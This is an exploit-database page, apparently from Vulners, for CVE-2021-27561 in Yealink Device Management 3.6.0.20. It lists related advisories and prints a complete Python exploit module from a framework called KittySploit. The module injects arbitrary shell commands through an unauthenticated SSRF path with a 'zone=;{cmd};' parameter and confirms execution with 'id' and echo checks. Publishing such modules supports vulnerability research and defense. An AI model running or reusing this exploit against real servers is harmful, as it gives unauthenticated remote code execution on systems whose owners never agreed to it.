Yealink DM Command Injection RCE (CVE-2021-27561)
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| CVE-2021-27561 | 15 Oct 202100:00 | – | attackerkb | |
| The vulnerability of the Yealink Device Management platform allows a perpetrator to execute arbitrary commands. | 7 Dec 202100:00 | – | bdu_fstec | |
| CVE-2021-27561 | 17 Mar 202111:01 | – | circl | |
| Yealink Device Management Server-Side Request Forgery (SSRF) Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| Yealink Device Management 操作系统命令注入漏洞 | 15 Oct 202100:00 | – | cnnvd | |
| Yealink Device Management Platform Unauthorized RCE Vulnerability (CNVD-2021-14827) | 24 Feb 202100:00 | – | cnvd | |
| Yealink Device Management Command Injection (CVE-2021-27561) | 2 Dec 202100:00 | – | checkpoint_advisories | |
| CVE-2021-27561 | 15 Oct 202117:11 | – | cve | |
| CVE-2021-27561 | 15 Oct 202117:11 | – | cvelist | |
| YeaLink DM 3.6.0.20 - Remote Command Injection Detection | 28 Jul 202611:27 | – | kittysploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Yealink DM firewall zone command injection (CVE-2021-27561)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Yealink DM Command Injection RCE (CVE-2021-27561)',
'description': (
'Exploits CVE-2021-27561 in Yealink Device Management 3.6.0.20: unauthenticated '
'command injection via /sm/api/v1/firewall/zone/services zone parameter.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-27561'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-27561'],
'tags': ['yealink', 'cmdi', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2021_27561_detect']},
},
}
def execute(self, cmd: str) -> str:
inner = urllib.parse.quote(f'zone=;{cmd};', safe='')
path = f'/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?{inner}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('/usr/bin/id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2021-27561 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Yealink injection failed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
CVSS 210
EPSS0.82865
SSVC